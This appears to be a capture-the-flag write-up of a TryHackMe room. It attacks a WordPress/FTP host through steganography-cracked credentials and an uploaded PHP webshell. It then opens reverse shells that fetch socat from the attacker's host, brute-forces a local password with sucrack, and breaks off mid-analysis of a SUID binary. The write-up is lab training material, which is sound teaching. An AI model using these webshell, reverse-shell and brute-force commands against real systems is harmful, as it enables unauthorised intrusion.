Different CTF | Feb 2, 2023
Introduction
Welcome to my another writeup! In this TryHackMe Different CTF room, you’ll learn: Webshell upload and modifying file permission in FTP, brute forcing local user via sucrack
and more! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★★★★☆☆☆
Table of Content
- Service Enumeration
- Initial Foothold
- Privilege Escalation: www-data to hakanftp
- Privilege Escalation: hakanftp to hakanbey
- Privilege Escalation: hakanbey to root
- Conclusion
Background
interesting room, you can shoot the sun
Difficulty: Hard
Hello there
We will tend to think differently in this room.
In fact, we will understand that what we see is not what we think, and if you go beyond the purpose, you will disappear in the room, fall into a rabbit hole.
Task 1 - Basic scan
Service Enumeration
As usual, scan the machine for open ports via rustscan
!
Rustscan:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:10:16(HKT)]
└> export RHOSTS=10.10.152.107
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:11:38(HKT)]
└> rustscan --ulimit 5000 -b 4500 -t 2000 --range 1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 3.0.3
80/tcp open http syn-ack Apache httpd 2.4.29
|_http-generator: WordPress 5.6
|_http-title: Hello World – Just another WordPress site
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.1.1; OS: Unix
According to rustscan
result, we have 2 ports are opened:
Open Port | Service |
---|---|
21 | vsftpd 3.0.3 |
80 | Apache/2.4.29 (Ubuntu) |
Question 1 - How many ports are open ?
- Answer:
2
FTP on Port 21
We can try to login as anonymous
(Guess login):
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:12:51(HKT)]
└> ftp $RHOSTS
Connected to 10.10.152.107.
220 (vsFTPd 3.0.3)
Name (10.10.152.107:siunam): anonymous
530 Permission denied.
ftp: Login failed
ftp>
Nope. It doesn’t allow anonymous
login.
That being said, we need credentials to do futher enumeration!
HTTP on Port 80
Find domain name:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:15:58(HKT)]
└> curl -s http://$RHOSTS/ | grep -iE 'https?://.*\.thm'
[...]
<script src='http://adana.thm/wp-includes/js/wp-embed.min.js?ver=5.6' id='wp-embed-js'></script>
- Found domain:
adana.thm
Adding that new domain to /etc/hosts
:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:19:05(HKT)]
└> echo "$RHOSTS adana.thm" | sudo tee -a /etc/hosts
Home page:
By combining rustscan
’s result and the home page, we can confirm that the web application is using a CMS (Content Management System) called WordPress, and it’s version is 5.6.
In WordPress, we can use a vulnerability scanner called wpscan
:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:26:22(HKT)]
└> wpscan --url http://adana.thm/
[...]
But nothing interesting.
Nevermind. Let’s use gobuster
to enumerate hidden directories:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:19:28(HKT)]
└> gobuster dir -u http://adana.thm/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -t 100
[...]
/javascript (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]
/phpmyadmin (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]
/wp-content (Status: 301) [Size: 311] [--> http://adana.thm/wp-content/]
/wp-admin (Status: 301) [Size: 309] [--> http://adana.thm/wp-admin/]
[...]
/announcements (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
/server-status (Status: 403) [Size: 274]
The /announcements/
directory is NOT a default WordPress directory.
Question 2 - What is the name of the secret directory ?
- Answer:
/announcements/
Let’s check that out:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:26:50(HKT)]
└> curl -s http://adana.thm/announcements/ | html2text
****** Index of /announcements ******
[[ICO]] Name Last_modified Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory -
[[IMG]] austrailian-bulldog-ant.jpg 2021-01-11 11:51 58K
[[TXT]] wordlist.txt 2021-01-11 13:48 394K
===========================================================================
Apache/2.4.29 (Ubuntu) Server at adana.thm Port 80
In here, we see that there are 2 files: austrailian-bulldog-ant.jpg
, wordlist.txt
Let’s wget
them:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:30:43(HKT)]
└> wget http://adana.thm/announcements/wordlist.txt
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:31:01(HKT)]
└> wget http://adana.thm/announcements/austrailian-bulldog-ant.jpg
wordlist.txt:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:31:52(HKT)]
└> head wordlist.txt
123456
12345
123456789
password
iloveyou
princess
1234567
rockyou
12345678
abc123
austrailian-bulldog-ant.jpg:
Hmm… Maybe the image itself has something hidden?
Let’s try to use steghide
to extract that:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:32:31(HKT)]
└> steghide extract -sf austrailian-bulldog-ant.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
It needs a passphrase.
Since it also has a wordlist, why not using stegseek
to crack it?
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:34:13(HKT)]
└> stegseek austrailian-bulldog-ant.jpg wordlist.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: "123adana{Redacted}"
[i] Original filename: "user-pass-ftp.txt".
[i] Extracting to "austrailian-bulldog-ant.jpg.out".
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:34:45(HKT)]
└> mv austrailian-bulldog-ant.jpg.out user-pass-ftp.txt
Cracked!
The extracted file is user-pass-ftp.txt
!
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:35:44(HKT)]
└> cat user-pass-ftp.txt
RlRQLUxPR0lOClVTRVI{Redacted}U1M6IDEyM2FkYW5hY3JhY2s=
As you can see, it’s base64 encoded! (The last character is =
, which is a padding character in base64 encoding.)
Let’s use base64
to decode that!
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:36:28(HKT)]
└> base64 -d user-pass-ftp.txt
FTP-LOGIN
USER: hakanftp
PASS: 123adana{Redacted}
We found a FTP credentials!
Let’s enumerate FTP again!
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:26:26(HKT)]
└> ftp $RHOSTS
Connected to 10.10.152.107.
220 (vsFTPd 3.0.3)
Name (10.10.152.107:siunam): hakanftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
We’re in!
We can then list all the files and directories:
ftp> ls -lah
229 Entering Extended Passive Mode (|||60057|)
150 Here comes the directory listing.
drwxrwxrwx 8 1001 1001 4096 Jan 15 2021 .
drwxrwxrwx 8 1001 1001 4096 Jan 15 2021 ..
-rw------- 1 1001 1001 88 Jan 13 2021 .bash_history
drwx------ 2 1001 1001 4096 Jan 11 2021 .cache
drwx------ 3 1001 1001 4096 Jan 11 2021 .gnupg
-rw-r--r-- 1 1001 1001 554 Jan 10 2021 .htaccess
drwxr-xr-x 2 0 0 4096 Jan 14 2021 announcements
-rw-r--r-- 1 1001 1001 405 Feb 06 2020 index.php
-rw-r--r-- 1 1001 1001 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 1001 1001 7278 Jun 26 2020 readme.html
-rw-r--r-- 1 1001 1001 7101 Jul 28 2020 wp-activate.php
drwxr-xr-x 9 1001 1001 4096 Dec 08 2020 wp-admin
-rw-r--r-- 1 1001 1001 351 Feb 06 2020 wp-blog-header.php
-rw-r--r-- 1 1001 1001 2328 Oct 08 2020 wp-comments-post.php
-rw-r--r-- 1 0 0 3194 Jan 11 2021 wp-config.php
drwxr-xr-x 4 1001 1001 4096 Dec 08 2020 wp-content
-rw-r--r-- 1 1001 1001 3939 Jul 30 2020 wp-cron.php
drwxr-xr-x 25 1001 1001 12288 Dec 08 2020 wp-includes
-rw-r--r-- 1 1001 1001 2496 Feb 06 2020 wp-links-opml.php
-rw-r--r-- 1 1001 1001 3300 Feb 06 2020 wp-load.php
-rw-r--r-- 1 1001 1001 49831 Nov 09 2020 wp-login.php
-rw-r--r-- 1 1001 1001 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 1001 1001 20975 Nov 12 2020 wp-settings.php
-rw-r--r-- 1 1001 1001 31337 Sep 30 2020 wp-signup.php
-rw-r--r-- 1 1001 1001 4747 Oct 08 2020 wp-trackback.php
-rw-r--r-- 1 1001 1001 3236 Jun 08 2020 xmlrpc.php
226 Directory send OK.
So, it seems like this FTP user can access to the WordPress website?
If we can upload anything, we can gain RCE (Remote Code Execution)!
Let’s try to upload a test file:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:40:38(HKT)]
└> touch anything
ftp> put anything
local: anything remote: anything
[...]
226 Transfer complete.
ftp> ls -lah
[...]
-rw------- 1 1001 1001 0 Jan 30 06:40 anything
[...]
We can upload any files!
Now, let’s upload a PHP webshell:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:42:39(HKT)]
└> echo '<?php system($_GET["cmd"]) ?>' > webshell.php
ftp> put webshell.php
local: webshell.php remote: webshell.php
Then try to go to the webshell location:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:43:31(HKT)]
└> curl http://adana.thm/webshell.php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at adana.thm Port 80</address>
</body></html>
Wait. HTTP status 404 Not Found?
Let’s take a step back.
Our uploaded file doesn’t exist on the WordPress website, so maybe it’s on a different subdomain?
But before we start fuzzing subdomains, let’s try to download the wp-config.php
, which holds database’s credentials:
ftp> get wp-config.php
[...]
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:47:26(HKT)]
└> cat wp-config.php
[...]
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'phpmyadmin1' );
/** MySQL database username */
define( 'DB_USER', 'phpmyadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', '{Redacted}' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
[...]
Found MySQL credentials!
We also found a .bash_history
file, which is a command histories:
ftp> get .bash_history
[...]
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.30|14:50:18(HKT)]
└> cat .bash_history
id
su root
ls
cd ..
ls
cd /home
ls
cd hakanbey/
ls
ls -la
cd ..
ls
exit
ls
cd /
ls
exit
As you can see, there is a system user called hakankey
.
Let’s take a step back.
In wp-config.php
, we found a MySQL credentials, and it has a username called phpmyadmin
, which got me thinking the website has PHPMyAdmin.
Let’s go to /phpmyadmin
:
Then login as user phpmyadmin
:
Boom! We’re in!
As you can see, it has 2 databases that are interesting for us:
- Found database:
phpmyadmin
,phpmyadmin1
Let’s enumerate them!
The wp_
prefix stands for WordPress, and table wp_users
holds users’ credentials!
We can go to “SQL” to run SQL query:
To extract table wp_users
, we can run the following SQL statement:
use phpmyadmin;
SELECT * FROM wp_users;
We found a WordPress user’s credentials!
However, the user_pass
is a password hash!
We can crack that via john
:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|11:08:56(HKT)]
└> nano hakankey01.hash
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|11:10:58(HKT)]
└> john --wordlist=/usr/share/wordlists/rockyou.txt hakankey01.hash
[...]
However, I couldn’t crack that hash…
How about database phpmyadmin1
?
As you can see, the password hash is different.
Let’s crack that again:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|11:17:02(HKT)]
└> john --wordlist=/usr/share/wordlists/rockyou.txt hakankey01_1.hash
[...]
{Redacted} (?)
Oh! Nice, we cracked that password hash!
Armed with above information, we can try to login as user hakankey01
in WordPress:
Unknown username??
In the home page, we can find a username hakanbey01
:
Let’s try it:
Still nope…
Again. Take a step back.
After fumbling around in PHPMyAdmin and based on my hacking WordPress experiences, the subdomain can be found in table wp_options
:
use phpmyadmin1;
SELECT * FROM wp_options;
We found a new subdomain!
Let’s add that to /etc/hosts
:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|14:24:18(HKT)]
└> sudo vi /etc/hosts
10.10.152.107 adana.thm subdomain.adana.thm
subdomain
:
Nice! We found another WordPress!
Let’s try to access our PHP webshell again:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|14:40:35(HKT)]
└> curl http://subdomain.adana.thm/webshell.php --get --data-urlencode "cmd=id"
It does exist, but it seems like we don’t have code execution??
Hmm… Let’s try to upload a text file via FTP, and see what wil happened when we access it:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|14:41:22(HKT)]
└> echo 'test' > test.txt
ftp> put test.txt
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|14:42:08(HKT)]
└> curl http://subdomain.adana.thm/test.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at subdomain.adana.thm Port 80</address>
</body></html>
What?? 403 Forbidden?
That sucks.
Since we have cracked user hakanbey01
’s password hash, we can try to login as that user in WordPress:
Nice! We’re in, and this user has administrator privilege!
After getting administrator level access in WordPress, we can try to upload a reverse shell plugin to gain initial foothold.
To do so, we can first write a reverse shell plugin:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|14:58:37(HKT)]
└> vi revshell.php
<?php
/**
* Plugin Name: WordPress Reverse Shell
* Author: siunam
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.9.0.253/443 0>&1'")
?>
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|14:58:43(HKT)]
└> zip revshell.zip revshell.php
adding: revshell.php (deflated 6%)
Then upload it:
Nope. The parent directory is not writable.
Initial Foothold
After falling into rabbit holes, I found that our uploaded PHP webshell has a weird access privilege:
ftp> ls -lah
[...]
-rw------- 1 1001 1001 30 Jan 31 06:40 webshell.php
[...]
As you can see, it only readable and writable by UID 1001
.
That being said, we can chmod
command to change it to world-readable/writable/executable:
ftp> chmod 777 webshell.php
200 SITE CHMOD command ok.
Now, we should able to execute our webshell code!
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.01.31|15:25:04(HKT)]
└> curl http://subdomain.adana.thm/webshell.php --get --data-urlencode "cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Nice! We have code execution!
Let’s get a shell!
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|09:07:18(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
2023/02/02 09:07:20 socat[8591] N opening character device "/dev/pts/1" for reading and writing
2023/02/02 09:07:20 socat[8591] N listening on AF=2 0.0.0.0:4444
┌[siunam♥earth]-(/opt/static-binaries/binaries/linux/x86_64)-[2023.02.02|09:06:27(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|09:07:23(HKT)]
└> curl http://subdomain.adana.thm/webshell.php --get --data-urlencode "cmd=wget http://10.9.0.253:8000/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat TCP:10.9.0.253:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane"
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|09:07:18(HKT)]
└> socat -d -d file:`tty`,raw,echo=0 TCP-LISTEN:4444
2023/02/02 09:07:20 socat[8591] N opening character device "/dev/pts/1" for reading and writing
2023/02/02 09:07:20 socat[8591] N listening on AF=2 0.0.0.0:4444
2023/02/02 09:07:43 socat[8591] N accepting connection from AF=2 10.10.152.107:56364 on AF=2 10.9.0.253:4444
2023/02/02 09:07:43 socat[8591] N starting data transfer loop with FDs [5,5] and [7,7]
www-data@ubuntu:/var/www/subdomain$
www-data@ubuntu:/var/www/subdomain$ export TERM=xterm-256color
www-data@ubuntu:/var/www/subdomain$ stty rows 22 columns 107
www-data@ubuntu:/var/www/subdomain$ whoami;hostname;id;ip a
www-data
ubuntu
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:e0:8b:fe:8b:6d brd ff:ff:ff:ff:ff:ff
inet 10.10.152.107/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::e0:8bff:fefe:8b6d/64 scope link
valid_lft forever preferred_lft forever
www-data@ubuntu:/var/www/subdomain$ ^C
www-data@ubuntu:/var/www/subdomain$
I’m user www-data
!
Web flag:
www-data@ubuntu:/var/www/subdomain$ cat /var/www/html/wwe3bbfla4g.txt
THM{Redacted}
Privilege Escalation
www-data to hakanftp
Let’s do some basic enumerations!
System users:
www-data@ubuntu:/var/www/subdomain$ cat /etc/passwd | grep /bin/bash
root:x:0:0:root:/root:/bin/bash
hakanbey:x:1000:1000:hakanbey:/home/hakanbey:/bin/bash
hakanftp:x:1001:1001:,,,:/var/www/subdomain:/bin/bash
- Found 2 system user:
hakanbey
,hakanftp
SUID binaries:
www-data@ubuntu:/var/www/subdomain$ find / -perm -4000 2>/dev/null
Nothing?
Capability:
www-data@ubuntu:/var/www/subdomain$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
Nothing weird.
Now, since we have a FTP credentials, we can try to Switch User to hakanftp
:
www-data@ubuntu:/var/www/subdomain$ su hakanftp
Password:
hakanftp@ubuntu:~$ whoami;hostname;id;ip a
hakanftp
ubuntu
uid=1001(hakanftp) gid=1001(hakanftp) groups=1001(hakanftp)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:e0:8b:fe:8b:6d brd ff:ff:ff:ff:ff:ff
inet 10.10.152.107/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::e0:8bff:fefe:8b6d/64 scope link
valid_lft forever preferred_lft forever
I’m user hakanftp
!
hakanftp to hakanbey
Sudo permission:
hakanftp@ubuntu:~$ sudo -l
[...]
Password:
Sorry, user hakanftp may not run sudo on ubuntu.
Nope.
Listening ports:
hakanftp@ubuntu:~$ netstat -tunlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:40524 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::33043 :::* -
As you can see, it has some local loopback listening ports: 22
, 631
, 3306
Port 3306 is MySQL, we already enumerated it in PHPMyAdmin.
Port 631 is Internet Printing Protocol (IPP). This port is to provide printing service.
The Internet Printing Protocol (IPP) is defined in RFC2910 and RFC2911. It’s an extendable protocol, for example ‘IPP Everywhere’ is a candidate for a standard in mobile and cloud printing and IPP extensions for 3D printing have been released. Because IPP is based on HTTP, it inherits all existing security features like basic/digest authentication and SSL/TLS encryption. To submit a print job or to retrieve status information from the printer, an HTTP POST request is sent to the IPP server listening on port 631/tcp. A famous open-source IPP implementation is CUPS, which is the default printing system in many Linux distributions and OS X. Similar to LPD, IPP is a channel to deploy the actual data to be printed and can be abused as a carrier for malicious PostScript or PJL files. (From HackTricks)
That being said, we can try to curl
port 631:
hakanftp@ubuntu:~$ curl http://127.0.0.1:631/
<!DOCTYPE HTML>
<html>
<head>
<link rel="stylesheet" href="/cups.css" type="text/css">
<link rel="shortcut icon" href="/apple-touch-icon.png" type="image/png">
<meta charset="utf-8">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=9">
<meta name="viewport" content="width=device-width">
<title>Home - CUPS 2.2.7</title>
</head>
[...]
We found that the IPP implementation is CUPS version 2.2.7.
However, it seems like we couldn’t exploit this…
Now, we can try to brute force user hakankey
’s password.
We can do a port forwarding in SSH, and then brute force it via hydra
.
We can also brute force it via sucrack
!
sucrack
is a multithreaded Linux/UNIX tool for cracking local user accounts via wordlist bruteforcing su. This tool comes in handy when you’ve gained access to a low-privilege user account but are allowed to su to other users. Many su implementations require a pseudo terminal to be attached in order to take the password from the user. This can’t be easily achieved with a simple shell script. This tool, written in C, is highly efficient and can attempt multiple logins at the same time.
- Clone
sucrack
repository:
┌[siunam♥earth]-(/opt)-[2023.02.02|09:37:23(HKT)]
└> sudo git clone https://github.com/hemp3l/sucrack.git
- Transfer it to the target machine:
┌[siunam♥earth]-(/opt)-[2023.02.02|09:38:11(HKT)]
└> sudo zip -r sucrack.zip sucrack
┌[siunam♥earth]-(/opt)-[2023.02.02|09:38:14(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
hakanftp@ubuntu:~$ wget http://10.9.0.253:8000/sucrack.zip -O /tmp/sucrack.zip
hakanftp@ubuntu:~$ cd /tmp
hakanftp@ubuntu:/tmp$ unzip sucrack.zip
- Install
sucrack
:
hakanftp@ubuntu:/tmp$ cd sucrack
hakanftp@ubuntu:/tmp/sucrack$ ./configure
[...]
sucrack configuration
---------------------
sucrack version : 1.2.3
target system : LINUX
sucrack link flags : -pthread
sucrack compile flags : -DSTATIC_BUFFER -DLINUX -DSUCRACK_TITLE="\"sucrack 1.2.3 (LINUX)\""
hakanftp@ubuntu:/tmp/sucrack$ make
[...]
hakanftp@ubuntu:/tmp/sucrack$ /tmp/sucrack/src/sucrack -h
sucrack 1.2.3 (LINUX) - the su cracker
Copyright (C) 2006 Nico Leidecker; nfl@portcullis-security.com
Usage: /tmp/sucrack/src/sucrack [-char] [-w num] [-b size] [-s sec] [-u user] [-l rules] wordlist
[...]
Environment Variables:
SUCRACK_SU_PATH : The path to su (usually /bin/su or /usr/bin/su)
SUCRACK_AUTH_FAILURE : The message su returns on an authentication
failure (like "su: Authentication failure" or "su: Sorry")
SUCRACK_AUTH_SUCCESS : The message that indicates an authentication
success. This message must not be a password
listed in the wordlist (default is "SUCRACK_SUCCESS")
Example:
export SUCRACK_AUTH_SUCCESS="sucrack_says_hello"
/tmp/sucrack/src/sucrack -a -w 20 -s 10 -u root -rl AFLafld dict.txt
We now can brute force user hakanbey
!
But, which wordlist should we use??
If you look at the FTP user’s password and austrailian-bulldog-ant.jpg
steganography image file’s passphrase, it has a pattern:
123adana{Redacted}
123adana{Redacted}
It always starts with 123adana
followed by some words.
Also, we found a wordlsit in /announcements/wordlist.txt
Armed with above information, we can modify the wordlist via appending the 123adana
prefix.
To do so, I’ll write a simple Python script:
#!/usr/bin/env python3
class Modifier:
def __init__(self, originalWordlist, modifiedWordlist, passwordPrefix):
self.originalWordlist = originalWordlist
self.modifiedWordlist = modifiedWordlist
self.passwordPrefix = passwordPrefix
def modifyWordlist(self):
# Read original wordlist file's content
with open(self.originalWordlist, 'r') as originalWordlist:
for line in originalWordlist:
wordlistString = line.strip()
# Append the password prefix to original wordlist file
with open(self.modifiedWordlist, 'a') as modifiedWordlist:
modifiedWordlist.write(f'{self.passwordPrefix}{wordlistString}\n')
def main():
originalWordlist = 'wordlist.txt'
modifiedWordlist = 'modified_wordlist.txt'
passwordPrefix = '123adana'
modifier = Modifier(originalWordlist, modifiedWordlist, passwordPrefix)
modifier.modifyWordlist()
if __name__ == '__main__':
main()
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:05:51(HKT)]
└> python3 modify_wordlist.py
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:06:04(HKT)]
└> head -n 5 modified_wordlist.txt
123adana123456
123adana12345
123adana123456789
123adanapassword
123adanailoveyou
Finally, we can transfer the modified wordlist to the target machine, and brute force user hakanbey
via sucrack
:
┌[siunam♥earth]-(~/ctf/thm/ctf/Different-CTF)-[2023.02.02|10:06:36(HKT)]
└> python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
hakanftp@ubuntu:/tmp/sucrack$ wget http://10.9.0.253:8000/modified_wordlist.txt -O /tmp/modified_wordlist.txt
hakanftp@ubuntu:/tmp/sucrack$ /tmp/sucrack/src/sucrack -w 100 -u hakanbey /tmp/modified_wordlist.txt
[...]
36838/803886
password is: 123adana{Redacted}
Note: The worker number is recommended to set to 100, otherwise it would be painfully slow to brute force.
We successfully brute forced user hakanbey
’s password!!
Let’s Switch User to that user:
hakanftp@ubuntu:/tmp/sucrack$ su hakanbey
Password:
hakanbey@ubuntu:/var/www/subdomain$ whoami;hostname;id;ip a
hakanbey
ubuntu
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:e0:8b:fe:8b:6d brd ff:ff:ff:ff:ff:ff
inet 10.10.152.107/16 brd 10.10.255.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::e0:8bff:fefe:8b6d/64 scope link
valid_lft forever preferred_lft forever
I’m user hakanbey
!!
user.txt:
hakanbey@ubuntu:/var/www/subdomain$ cat /home/hakanbey/user.txt
THM{Redacted}
hakanbey to root
Now, I wonder why we couldn’t enumerate SUID binaries via find
in www-data
user.
Let’s check find
file permission:
hakanbey@ubuntu:/var/www/subdomain$ which find
/usr/bin/find
hakanbey@ubuntu:/var/www/subdomain$ ls -lah /usr/bin/find
-rwxr-x--- 1 root hakanbey 233K Nov 5 2017 /usr/bin/find
As you can see, the find
binary doesn’t have a world-executable bit! That’s why we couldn’t use find
!
Now, we can use find
binary, as group hakanbey
has executable permission!
hakanbey@ubuntu:/var/www/subdomain$ find / -perm -4000 2>/dev/null
[...]
/usr/bin/binary
[...]
The /usr/bin/binary
looks sussy…
Let’s check that out:
hakanbey@ubuntu:/var/www/subdomain$ ls -lah /usr/bin/binary
-r-srwx--- 1 root hakanbey 13K Jan 14 2021 /usr/bin/binary
hakanbey@ubuntu:/var/www/subdomain$ file /usr/bin/binary
/usr/bin/binary: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1a7536564f948801838b782a3dd088cc41bd294d, not stripped
hakanbey@ubuntu:/var/www/subdomain$ strings /usr/bin/binary
[...]
I think you should enter the correct string here ==>
/root/hint.txt
Hint! : %s
/root/root.jpg
Unable to open source!
/home/hakanbey/root.jpg
Copy /root/root.jpg ==> /home/hakanbey/root.jpg
Unable to copy!
[...]
Hmm… It seems like it’s copying a file to another location?
hakanbey@ubuntu:/var/www/subdomain$ /usr/bin/binary
I think you should enter the correct string here ==>test
pkill: killing pid 22538 failed: Operation not permitted
pkill: killing pid 22543 failed: Operation not permitted
When we entered an incorrect string, it’ll kill our su
’s process.
Now, we can transfer that binary and use Ghidra to reverse engineering it:
hakanbey@ubuntu:/var/www/subdomain$ cd /usr/bin
